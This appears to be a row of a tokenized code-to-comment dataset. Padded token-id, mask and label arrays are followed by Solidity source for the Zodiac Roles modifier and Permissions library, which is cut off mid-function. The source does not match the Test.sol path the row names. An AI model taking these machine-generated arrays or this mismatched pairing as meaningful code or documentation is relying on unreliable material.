-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x022e93A1AA68392a1eF2c101AcD67490D05C67Fd/sources/contracts/Test.sol | Marketing And Dev Expense Wallet
| rewardsWallet= 0x9FA0742822d9322A3cEEaD6CD60a8089C83ac9C6; | 2,985,661 | [
1,
3882,
21747,
7835,
9562,
1312,
1907,
307,
20126,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
283,
6397,
16936,
33,
374,
92,
29,
2046,
20,
5608,
6030,
3787,
72,
29,
1578,
22,
37,
23,
71,
9383,
69,
40,
26,
10160,
4848,
69,
3672,
6675,
39,
10261,
1077,
29,
39,
26,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity ^0.8.6;
import "@gnosis.pm/zodiac/contracts/core/Modifier.sol";
import "./Permissions.sol";
contract Roles is Modifier {
address public multisend;
mapping(address => uint16) public defaultRoles;
mapping(uint16 => Role) internal roles;
event AssignRoles(address module, uint16[] roles, bool[] memberOf);
event SetMultisendAddress(address multisendAddress);
event RolesModSetup(
address indexed initiator,
address indexed owner,
address indexed avatar,
address target
);
event SetDefaultRole(address module, uint16 defaultRole);
/// `setUpModules` has already been called
error SetUpModulesAlreadyCalled();
/// Arrays must be the same length
error ArraysDifferentLength();
/// Sender is not a member of the role
error NoMembership();
/// Sender is allowed to make this call, but the internal transaction failed
error ModuleTransactionFailed();
/// @param _owner Address of the owner
/// @param _avatar Address of the avatar (e.g. a Gnosis Safe)
/// @param _target Address of the contract that will call exec function
constructor(
address _owner,
address _avatar,
address _target
) {
bytes memory initParams = abi.encode(_owner, _avatar, _target);
setUp(initParams);
}
function setUp(bytes memory initParams) public override {
(address _owner, address _avatar, address _target) = abi.decode(
initParams,
(address, address, address)
);
__Ownable_init();
avatar = _avatar;
target = _target;
transferOwnership(_owner);
setupModules();
emit RolesModSetup(msg.sender, _owner, _avatar, _target);
}
function setupModules() internal {
if (modules[SENTINEL_MODULES] != address(0)) {
revert SetUpModulesAlreadyCalled();
}
modules[SENTINEL_MODULES] = SENTINEL_MODULES;
}
/// @dev Set the address of the expected multisend library
/// @notice Only callable by owner.
/// @param _multisend address of the multisend library contract
function setMultisend(address _multisend) external onlyOwner {
multisend = _multisend;
emit SetMultisendAddress(multisend);
}
/// @dev Allows all calls made to an address.
/// @notice Only callable by owner.
/// @param role Role to set for
/// @param targetAddress Address to be allowed
/// @param options defines whether or not delegate calls and/or eth can be sent to the target address.
function allowTarget(
uint16 role,
address targetAddress,
ExecutionOptions options
) external onlyOwner {
Permissions.allowTarget(roles[role], role, targetAddress, options);
}
/// @dev Disallows all calls made to an address.
/// @notice Only callable by owner.
/// @param role Role to set for
/// @param targetAddress Address to be disallowed
function revokeTarget(uint16 role, address targetAddress)
external
onlyOwner
{
Permissions.revokeTarget(roles[role], role, targetAddress);
}
/// @dev Scopes calls to an address, limited to specific function signatures, and per function scoping rules.
/// @notice Only callable by owner.
/// @param role Role to set for.
/// @param targetAddress Address to be scoped.
function scopeTarget(uint16 role, address targetAddress)
external
onlyOwner
{
Permissions.scopeTarget(roles[role], role, targetAddress);
}
/// @dev Allows a specific function signature on a scoped target.
/// @notice Only callable by owner.
/// @param role Role to set for
/// @param targetAddress Scoped address on which a function signature should be allowed.
/// @param functionSig Function signature to be allowed.
/// @param options Defines whether or not delegate calls and/or eth can be sent to the function.
function scopeAllowFunction(
uint16 role,
address targetAddress,
bytes4 functionSig,
ExecutionOptions options
) external onlyOwner {
Permissions.scopeAllowFunction(
roles[role],
role,
targetAddress,
functionSig,
options
);
}
/// @dev Disallows a specific function signature on a scoped target.
/// @notice Only callable by owner.
/// @param role Role to set for
/// @param targetAddress Scoped address on which a function signature should be disallowed.
/// @param functionSig Function signature to be disallowed.
function scopeRevokeFunction(
uint16 role,
address targetAddress,
bytes4 functionSig
) external onlyOwner {
Permissions.scopeRevokeFunction(
roles[role],
role,
targetAddress,
functionSig
);
}
/// @dev Sets scoping rules for a function, on a scoped address.
/// @notice Only callable by owner.
/// @param role Role to set for.
/// @param targetAddress Scoped address on which scoping rules for a function are to be set.
/// @param functionSig Function signature to be scoped.
/// @param isParamScoped false for un-scoped, true for scoped.
/// @param paramType Static, Dynamic or Dynamic32, depending on the parameter type.
/// @param paramComp Any, or EqualTo, GreaterThan, or LessThan, depending on comparison type.
/// @param compValue The reference value used while comparing and authorizing.
/// @param options Defines whether or not delegate calls and/or eth can be sent to the function.
function scopeFunction(
uint16 role,
address targetAddress,
bytes4 functionSig,
bool[] calldata isParamScoped,
ParameterType[] calldata paramType,
Comparison[] calldata paramComp,
bytes[] memory compValue,
ExecutionOptions options
) external onlyOwner {
Permissions.scopeFunction(
roles[role],
role,
targetAddress,
functionSig,
isParamScoped,
paramType,
paramComp,
compValue,
options
);
}
/// @dev Sets whether or not delegate calls and/or eth can be sent to a function on a scoped target.
/// @notice Only callable by owner.
/// @notice Only in play when target is scoped.
/// @param role Role to set for.
/// @param targetAddress Scoped address on which the ExecutionOptions for a function are to be set.
/// @param functionSig Function signature on which the ExecutionOptions are to be set.
/// @param options Defines whether or not delegate calls and/or eth can be sent to the function.
function scopeFunctionExecutionOptions(
uint16 role,
address targetAddress,
bytes4 functionSig,
ExecutionOptions options
) external onlyOwner {
Permissions.scopeFunctionExecutionOptions(
roles[role],
role,
targetAddress,
functionSig,
options
);
}
/// @dev Sets and enforces scoping rules, for a single parameter of a function, on a scoped target.
/// @notice Only callable by owner.
/// @param role Role to set for.
/// @param targetAddress Scoped address on which functionSig lives.
/// @param functionSig Function signature to be scoped.
/// @param paramIndex The index of the parameter to scope.
/// @param paramType Static, Dynamic or Dynamic32, depending on the parameter type.
/// @param paramComp Any, or EqualTo, GreaterThan, or LessThan, depending on comparison type.
/// @param compValue The reference value used while comparing and authorizing.
function scopeParameter(
uint16 role,
address targetAddress,
bytes4 functionSig,
uint256 paramIndex,
ParameterType paramType,
Comparison paramComp,
bytes calldata compValue
) external onlyOwner {
Permissions.scopeParameter(
roles[role],
role,
targetAddress,
functionSig,
paramIndex,
paramType,
paramComp,
compValue
);
}
/// @dev Sets and enforces scoping rules, for a single parameter of a function, on a scoped target.
/// @notice Only callable by owner.
/// @notice Parameter will be scoped with comparison type OneOf.
/// @param role Role to set for.
/// @param targetAddress Scoped address on which functionSig lives.
/// @param functionSig Function signature to be scoped.
/// @param paramIndex The index of the parameter to scope.
/// @param paramType Static, Dynamic or Dynamic32, depending on the parameter type.
/// @param compValues The reference values used while comparing and authorizing.
function scopeParameterAsOneOf(
uint16 role,
address targetAddress,
bytes4 functionSig,
uint256 paramIndex,
ParameterType paramType,
bytes[] calldata compValues
) external onlyOwner {
Permissions.scopeParameterAsOneOf(
roles[role],
role,
targetAddress,
functionSig,
paramIndex,
paramType,
compValues
);
}
/// @dev Un-scopes a single parameter of a function, on a scoped target.
/// @notice Only callable by owner.
/// @param role Role to set for.
/// @param targetAddress Scoped address on which functionSig lives.
/// @param functionSig Function signature to be scoped.
/// @param paramIndex The index of the parameter to un-scope.
function unscopeParameter(
uint16 role,
address targetAddress,
bytes4 functionSig,
uint8 paramIndex
) external onlyOwner {
Permissions.unscopeParameter(
roles[role],
role,
targetAddress,
functionSig,
paramIndex
);
}
/// @dev Assigns and revokes roles to a given module.
/// @param module Module on which to assign/revoke roles.
/// @param _roles Roles to assign/revoke.
/// @param memberOf Assign (true) or revoke (false) corresponding _roles.
function assignRoles(
address module,
uint16[] calldata _roles,
bool[] calldata memberOf
) external onlyOwner {
if (_roles.length != memberOf.length) {
revert ArraysDifferentLength();
}
for (uint16 i = 0; i < _roles.length; i++) {
roles[_roles[i]].members[module] = memberOf[i];
}
if (!isModuleEnabled(module)) {
enableModule(module);
}
emit AssignRoles(module, _roles, memberOf);
}
/// @dev Sets the default role used for a module if it calls execTransactionFromModule() or execTransactionFromModuleReturnData().
/// @param module Address of the module on which to set default role.
/// @param role Role to be set as default.
function setDefaultRole(address module, uint16 role) external onlyOwner {
defaultRoles[module] = role;
emit SetDefaultRole(module, role);
}
/// @dev Passes a transaction to the modifier.
/// @param to Destination address of module transaction
/// @param value Ether value of module transaction
/// @param data Data payload of module transaction
/// @param operation Operation type of module transaction
/// @notice Can only be called by enabled modules
function execTransactionFromModule(
address to,
uint256 value,
bytes calldata data,
Enum.Operation operation
) public override moduleOnly returns (bool success) {
Permissions.check(
roles[defaultRoles[msg.sender]],
multisend,
to,
value,
data,
operation
);
return exec(to, value, data, operation);
}
/// @dev Passes a transaction to the modifier, expects return data.
/// @param to Destination address of module transaction
/// @param value Ether value of module transaction
/// @param data Data payload of module transaction
/// @param operation Operation type of module transaction
/// @notice Can only be called by enabled modules
function execTransactionFromModuleReturnData(
address to,
uint256 value,
bytes calldata data,
Enum.Operation operation
) public override moduleOnly returns (bool, bytes memory) {
Permissions.check(
roles[defaultRoles[msg.sender]],
multisend,
to,
value,
data,
operation
);
return execAndReturnData(to, value, data, operation);
}
/// @dev Passes a transaction to the modifier assuming the specified role.
/// @param to Destination address of module transaction
/// @param value Ether value of module transaction
/// @param data Data payload of module transaction
/// @param operation Operation type of module transaction
/// @param role Identifier of the role to assume for this transaction
/// @param shouldRevert Should the function revert on inner execution returning success false?
/// @notice Can only be called by enabled modules
function execTransactionWithRole(
address to,
uint256 value,
bytes calldata data,
Enum.Operation operation,
uint16 role,
bool shouldRevert
) public moduleOnly returns (bool success) {
Permissions.check(roles[role], multisend, to, value, data, operation);
success = exec(to, value, data, operation);
if (shouldRevert && !success) {
revert ModuleTransactionFailed();
}
}
/// @dev Passes a transaction to the modifier assuming the specified role. Expects return data.
/// @param to Destination address of module transaction
/// @param value Ether value of module transaction
/// @param data Data payload of module transaction
/// @param operation Operation type of module transaction
/// @param role Identifier of the role to assume for this transaction
/// @param shouldRevert Should the function revert on inner execution returning success false?
/// @notice Can only be called by enabled modules
function execTransactionWithRoleReturnData(
address to,
uint256 value,
bytes calldata data,
Enum.Operation operation,
uint16 role,
bool shouldRevert
) public moduleOnly returns (bool success, bytes memory returnData) {
Permissions.check(roles[role], multisend, to, value, data, operation);
(success, returnData) = execAndReturnData(to, value, data, operation);
if (shouldRevert && !success) {
revert ModuleTransactionFailed();
}
}
}
// SPDX-License-Identifier: LGPL-3.0-only
/// @title Modifier Interface - A contract that sits between a Aodule and an Avatar and enforce some additional logic.
pragma solidity >=0.7.0 <0.9.0;
import "../interfaces/IAvatar.sol";
import "./Module.sol";
abstract contract Modifier is Module {
event EnabledModule(address module);
event DisabledModule(address module);
address internal constant SENTINEL_MODULES = address(0x1);
// Mapping of modules
mapping(address => address) internal modules;
/*
--------------------------------------------------
You must override at least one of following two virtual functions,
execTransactionFromModule() and execTransactionFromModuleReturnData().
*/
/// @dev Passes a transaction to the modifier.
/// @param to Destination address of module transaction
/// @param value Ether value of module transaction
/// @param data Data payload of module transaction
/// @param operation Operation type of module transaction
/// @notice Can only be called by enabled modules
function execTransactionFromModule(
address to,
uint256 value,
bytes calldata data,
Enum.Operation operation
) public virtual moduleOnly returns (bool success) {}
/// @dev Passes a transaction to the modifier, expects return data.
/// @param to Destination address of module transaction
/// @param value Ether value of module transaction
/// @param data Data payload of module transaction
/// @param operation Operation type of module transaction
/// @notice Can only be called by enabled modules
function execTransactionFromModuleReturnData(
address to,
uint256 value,
bytes calldata data,
Enum.Operation operation
)
public
virtual
moduleOnly
returns (bool success, bytes memory returnData)
{}
/*
--------------------------------------------------
*/
modifier moduleOnly() {
require(modules[msg.sender] != address(0), "Module not authorized");
_;
}
/// @dev Disables a module on the modifier
/// @param prevModule Module that pointed to the module to be removed in the linked list
/// @param module Module to be removed
/// @notice This can only be called by the owner
function disableModule(address prevModule, address module)
public
onlyOwner
{
require(
module != address(0) && module != SENTINEL_MODULES,
"Invalid module"
);
require(modules[prevModule] == module, "Module already disabled");
modules[prevModule] = modules[module];
modules[module] = address(0);
emit DisabledModule(module);
}
/// @dev Enables a module that can add transactions to the queue
/// @param module Address of the module to be enabled
/// @notice This can only be called by the owner
function enableModule(address module) public onlyOwner {
require(
module != address(0) && module != SENTINEL_MODULES,
"Invalid module"
);
require(modules[module] == address(0), "Module already enabled");
modules[module] = modules[SENTINEL_MODULES];
modules[SENTINEL_MODULES] = module;
emit EnabledModule(module);
}
/// @dev Returns if an module is enabled
/// @return True if the module is enabled
function isModuleEnabled(address _module) public view returns (bool) {
return SENTINEL_MODULES != _module && modules[_module] != address(0);
}
/// @dev Returns array of modules.
/// @param start Start of the page.
/// @param pageSize Maximum number of modules that should be returned.
/// @return array Array of modules.
/// @return next Start of the next page.
function getModulesPaginated(address start, uint256 pageSize)
external
view
returns (address[] memory array, address next)
{
// Init array with max page size
array = new address[](pageSize);
// Populate return array
uint256 moduleCount = 0;
address currentModule = modules[start];
while (
currentModule != address(0x0) &&
currentModule != SENTINEL_MODULES &&
moduleCount < pageSize
) {
array[moduleCount] = currentModule;
currentModule = modules[currentModule];
moduleCount++;
}
next = currentModule;
// Set correct size of returned array
// solhint-disable-next-line no-inline-assembly
assembly {
mstore(array, moduleCount)
}
}
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity ^0.8.6;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
enum ParameterType {
Static,
Dynamic,
Dynamic32
}
enum Comparison {
EqualTo,
GreaterThan,
LessThan,
OneOf
}
enum ExecutionOptions {
None,
Send,
DelegateCall,
Both
}
enum Clearance {
None,
Target,
Function
}
struct TargetAddress {
Clearance clearance;
ExecutionOptions options;
}
struct Role {
mapping(address => bool) members;
mapping(address => TargetAddress) targets;
mapping(bytes32 => uint256) functions;
mapping(bytes32 => bytes32) compValues;
mapping(bytes32 => bytes32[]) compValuesOneOf;
}
library Permissions {
uint256 internal constant SCOPE_MAX_PARAMS = 48;
event AllowTarget(
uint16 role,
address targetAddress,
ExecutionOptions options
);
event RevokeTarget(uint16 role, address targetAddress);
event ScopeTarget(uint16 role, address targetAddress);
event ScopeAllowFunction(
uint16 role,
address targetAddress,
bytes4 selector,
ExecutionOptions options,
uint256 resultingScopeConfig
);
event ScopeRevokeFunction(
uint16 role,
address targetAddress,
bytes4 selector,
uint256 resultingScopeConfig
);
event ScopeFunction(
uint16 role,
address targetAddress,
bytes4 functionSig,
bool[] isParamScoped,
ParameterType[] paramType,
Comparison[] paramComp,
bytes[] compValue,
ExecutionOptions options,
uint256 resultingScopeConfig
);
event ScopeFunctionExecutionOptions(
uint16 role,
address targetAddress,
bytes4 functionSig,
ExecutionOptions options,
uint256 resultingScopeConfig
);
event ScopeParameter(
uint16 role,
address targetAddress,
bytes4 functionSig,
uint256 index,
ParameterType paramType,
Comparison paramComp,
bytes compValue,
uint256 resultingScopeConfig
);
event ScopeParameterAsOneOf(
uint16 role,
address targetAddress,
bytes4 functionSig,
uint256 index,
ParameterType paramType,
bytes[] compValues,
uint256 resultingScopeConfig
);
event UnscopeParameter(
uint16 role,
address targetAddress,
bytes4 functionSig,
uint256 index,
uint256 resultingScopeConfig
);
/// Sender is not a member of the role
error NoMembership();
/// Arrays must be the same length
error ArraysDifferentLength();
/// Function signature too short
error FunctionSignatureTooShort();
/// Role not allowed to delegate call to target address
error DelegateCallNotAllowed();
/// Role not allowed to call target address
error TargetAddressNotAllowed();
/// Role not allowed to call this function on target address
error FunctionNotAllowed();
/// Role not allowed to send to target address
error SendNotAllowed();
/// Role not allowed to use bytes for parameter
error ParameterNotAllowed();
/// Role not allowed to use bytes for parameter
error ParameterNotOneOfAllowed();
/// Role not allowed to use bytes less than value for parameter
error ParameterLessThanAllowed();
/// Role not allowed to use bytes greater than value for parameter
error ParameterGreaterThanAllowed();
/// only multisend txs with an offset of 32 bytes are allowed
error UnacceptableMultiSendOffset();
/// OneOf Comparison must be set via dedicated function
error UnsuitableOneOfComparison();
/// Not possible to define gt/lt for Dynamic types
error UnsuitableRelativeComparison();
/// CompValue for static types should have a size of exactly 32 bytes
error UnsuitableStaticCompValueSize();
/// CompValue for Dynamic32 types should be a multiple of exactly 32 bytes
error UnsuitableDynamic32CompValueSize();
/// Exceeds the max number of params supported
error ScopeMaxParametersExceeded();
/// OneOf Comparison requires at least two compValues
error NotEnoughCompValuesForOneOf();
/// The provided calldata for execution is too short, or an OutOfBounds scoped parameter was configured
error CalldataOutOfBounds();
/*
*
* CHECKERS
*
*/
function check(
Role storage role,
address multisend,
address to,
uint256 value,
bytes calldata data,
Enum.Operation operation
) public view {
if (!role.members[msg.sender]) {
revert NoMembership();
}
if (multisend == to) {
checkMultisendTransaction(role, data);
} else {
checkTransaction(role, to, value, data, operation);
}
}
/// @dev Splits a multisend data blob into transactions and forwards them to be checked.
/// @param data the packed transaction data (created by utils function buildMultiSendSafeTx).
/// @param role Role to check for.
function checkMultisendTransaction(Role storage role, bytes memory data)
internal
view
{
Enum.Operation operation;
address to;
uint256 value;
bytes memory out;
uint256 dataLength;
uint256 offset;
assembly {
offset := mload(add(data, 36))
}
if (offset != 32) {
revert UnacceptableMultiSendOffset();
}
// transaction data (1st tx operation) reads at byte 100,
// 4 bytes (multisend_id) + 32 bytes (offset_multisend_data) + 32 bytes multisend_data_length
// increment i by the transaction data length
// + 85 bytes of the to, value, and operation bytes until we reach the end of the data
for (uint256 i = 100; i < data.length; i += (85 + dataLength)) {
assembly {
// First byte of the data is the operation.
// We shift by 248 bits (256 - 8 [operation byte]) right since mload will always load 32 bytes (a word).
// This will also zero out unused data.
operation := shr(0xf8, mload(add(data, i)))
// We offset the load address by 1 byte (operation byte)
// We shift it right by 96 bits (256 - 160 [20 address bytes]) to right-align the data and zero out unused data.
to := shr(0x60, mload(add(data, add(i, 0x01))))
// We offset the load address by 21 byte (operation byte + 20 address bytes)
value := mload(add(data, add(i, 0x15)))
// We offset the load address by 53 byte (operation byte + 20 address bytes + 32 value bytes)
dataLength := mload(add(data, add(i, 0x35)))
// We offset the load address by 85 byte (operation byte + 20 address bytes + 32 value bytes + 32 data length bytes)
out := add(data, add(i, 0x35))
}
checkTransaction(role, to, value, out, operation);
}
}
function checkTransaction(
Role storage role,
address targetAddress,
uint256 value,
bytes memory data,
Enum.Operation operation
) internal view {
if (data.length != 0 && data.length < 4) {
revert FunctionSignatureTooShort();
}
TargetAddress storage target = role.targets[targetAddress];
if (target.clearance == Clearance.None) {
revert TargetAddressNotAllowed();
}
if (target.clearance == Clearance.Target) {
checkExecutionOptions(value, operation, target.options);
return;
}
if (target.clearance == Clearance.Function) {
uint256 scopeConfig = role.functions[
keyForFunctions(targetAddress, bytes4(data))
];
if (scopeConfig == 0) {
revert FunctionNotAllowed();
}
(ExecutionOptions options, bool isWildcarded, ) = unpackFunction(
scopeConfig
);
checkExecutionOptions(value, operation, options);
if (isWildcarded == false) {
checkParameters(role, scopeConfig, targetAddress, data);
}
return;
}
assert(false);
}
function checkExecutionOptions(
uint256 value,
Enum.Operation operation,
ExecutionOptions options
) internal pure {
// isSend && !canSend
if (
value > 0 &&
options != ExecutionOptions.Send &&
options != ExecutionOptions.Both
) {
revert SendNotAllowed();
}
// isDelegateCall && !canDelegateCall
if (
operation == Enum.Operation.DelegateCall &&
options != ExecutionOptions.DelegateCall &&
options != ExecutionOptions.Both
) {
revert DelegateCallNotAllowed();
}
}
/// @dev Will revert if a transaction has a parameter that is not allowed
/// @param role reference to role storage
/// @param targetAddress Address to check.
/// @param data the transaction data to check
function checkParameters(
Role storage role,
uint256 scopeConfig,
address targetAddress,
bytes memory data
) internal view {
bytes4 functionSig = bytes4(data);
(, , uint256 length) = unpackFunction(scopeConfig);
for (uint256 i = 0; i < length; i++) {
(
bool isScoped,
ParameterType paramType,
Comparison paramComp
) = unpackParameter(scopeConfig, i);
if (!isScoped) {
continue;
}
bytes32 value;
if (paramType != ParameterType.Static) {
value = pluckDynamicValue(data, paramType, i);
} else {
value = pluckStaticValue(data, i);
}
bytes32 key = keyForCompValues(targetAddress, functionSig, i);
if (paramComp != Comparison.OneOf) {
compare(paramComp, role.compValues[key], value);
} else {
compareOneOf(role.compValuesOneOf[key], value);
}
}
}
function compare(
Comparison paramComp,
bytes32 compValue,
bytes32 value
) internal pure {
if (paramComp == Comparison.EqualTo && value != compValue) {
revert ParameterNotAllowed();
} else if (paramComp == Comparison.GreaterThan && value <= compValue) {
revert ParameterLessThanAllowed();
} else if (paramComp == Comparison.LessThan && value >= compValue) {
revert ParameterGreaterThanAllowed();
}
}
function compareOneOf(bytes32[] storage compValue, bytes32 value)
internal
view
{
for (uint256 i = 0; i < compValue.length; i++) {
if (value == compValue[i]) return;
}
revert ParameterNotOneOfAllowed();
}
/*
*
* SETTERS
*
*/
function allowTarget(
Role storage role,
uint16 roleId,
address targetAddress,
ExecutionOptions options
) external {
role.targets[targetAddress] = TargetAddress(Clearance.Target, options);
emit AllowTarget(roleId, targetAddress, options);
}
function revokeTarget(
Role storage role,
uint16 roleId,
address targetAddress
) external {
role.targets[targetAddress] = TargetAddress(
Clearance.None,
ExecutionOptions.None
);
emit RevokeTarget(roleId, targetAddress);
}
function scopeTarget(
Role storage role,
uint16 roleId,
address targetAddress
) external {
role.targets[targetAddress] = TargetAddress(
Clearance.Function,
ExecutionOptions.None
);
emit ScopeTarget(roleId, targetAddress);
}
function scopeAllowFunction(
Role storage role,
uint16 roleId,
address targetAddress,
bytes4 functionSig,
ExecutionOptions options
) external {
/*
* packLeft(
* 0 -> start from a fresh scopeConfig
* options -> externally provided options
* true -> mark the function as wildcarded
* 0 -> length
* )
*/
uint256 scopeConfig = packLeft(0, options, true, 0);
role.functions[
keyForFunctions(targetAddress, functionSig)
] = scopeConfig;
emit ScopeAllowFunction(
roleId,
targetAddress,
functionSig,
options,
scopeConfig
);
}
function scopeRevokeFunction(
Role storage role,
uint16 roleId,
address targetAddress,
bytes4 functionSig
) external {
role.functions[keyForFunctions(targetAddress, functionSig)] = 0;
emit ScopeRevokeFunction(roleId, targetAddress, functionSig, 0);
}
function scopeFunction(
Role storage role,
uint16 roleId,
address targetAddress,
bytes4 functionSig,
bool[] memory isScoped,
ParameterType[] memory paramType,
Comparison[] memory paramComp,
bytes[] calldata compValue,
ExecutionOptions options
) external {
uint256 length = isScoped.length;
if (
length != paramType.length ||
length != paramComp.length ||
length != compValue.length
) {
revert ArraysDifferentLength();
}
if (length > SCOPE_MAX_PARAMS) {
revert ScopeMaxParametersExceeded();
}
for (uint256 i = 0; i < length; i++) {
if (isScoped[i]) {
enforceComp(paramType[i], paramComp[i]);
enforceCompValue(paramType[i], compValue[i]);
}
}
/*
* packLeft(
* 0 -> start from a fresh scopeConfig
* options -> externally provided options
* false -> mark the function as not wildcarded
* 0 -> length
* )
*/
uint256 scopeConfig = packLeft(0, options, false, length);
for (uint256 i = 0; i < length; i++) {
scopeConfig = packRight(
scopeConfig,
i,
isScoped[i],
paramType[i],
paramComp[i]
);
}
//set scopeConfig
role.functions[
keyForFunctions(targetAddress, functionSig)
] = scopeConfig;
//set compValues
for (uint256 i = 0; i < length; i++) {
role.compValues[
keyForCompValues(targetAddress, functionSig, i)
] = compressCompValue(paramType[i], compValue[i]);
}
emit ScopeFunction(
roleId,
targetAddress,
functionSig,
isScoped,
paramType,
paramComp,
compValue,
options,
scopeConfig
);
}
function scopeFunctionExecutionOptions(
Role storage role,
uint16 roleId,
address targetAddress,
bytes4 functionSig,
ExecutionOptions options
) external {
bytes32 key = keyForFunctions(targetAddress, functionSig);
//set scopeConfig
uint256 scopeConfig = packOptions(role.functions[key], options);
role.functions[
keyForFunctions(targetAddress, functionSig)
] = scopeConfig;
emit ScopeFunctionExecutionOptions(
roleId,
targetAddress,
functionSig,
options,
scopeConfig
);
}
function scopeParameter(
Role storage role,
uint16 roleId,
address targetAddress,
bytes4 functionSig,
uint256 index,
ParameterType paramType,
Comparison paramComp,
bytes calldata compValue
) external {
if (index >= SCOPE_MAX_PARAMS) {
revert ScopeMaxParametersExceeded();
}
enforceComp(paramType, paramComp);
enforceCompValue(paramType, compValue);
// set scopeConfig
bytes32 key = keyForFunctions(targetAddress, functionSig);
uint256 scopeConfig = packParameter(
role.functions[key],
index,
true, // isScoped
paramType,
paramComp
);
role.functions[key] = scopeConfig;
// set compValue
role.compValues[
keyForCompValues(targetAddress, functionSig, index)
] = compressCompValue(paramType, compValue);
emit ScopeParameter(
roleId,
targetAddress,
functionSig,
index,
paramType,
paramComp,
compValue,
scopeConfig
);
}
function scopeParameterAsOneOf(
Role storage role,
uint16 roleId,
address targetAddress,
bytes4 functionSig,
uint256 index,
ParameterType paramType,
bytes[] calldata compValues
) external {
if (index >= SCOPE_MAX_PARAMS) {
revert ScopeMaxParametersExceeded();
}
if (compValues.length < 2) {
revert NotEnoughCompValuesForOneOf();
}
for (uint256 i = 0; i < compValues.length; i++) {
enforceCompValue(paramType, compValues[i]);
}
// set scopeConfig
bytes32 key = keyForFunctions(targetAddress, functionSig);
uint256 scopeConfig = packParameter(
role.functions[key],
index,
true, // isScoped
paramType,
Comparison.OneOf
);
role.functions[key] = scopeConfig;
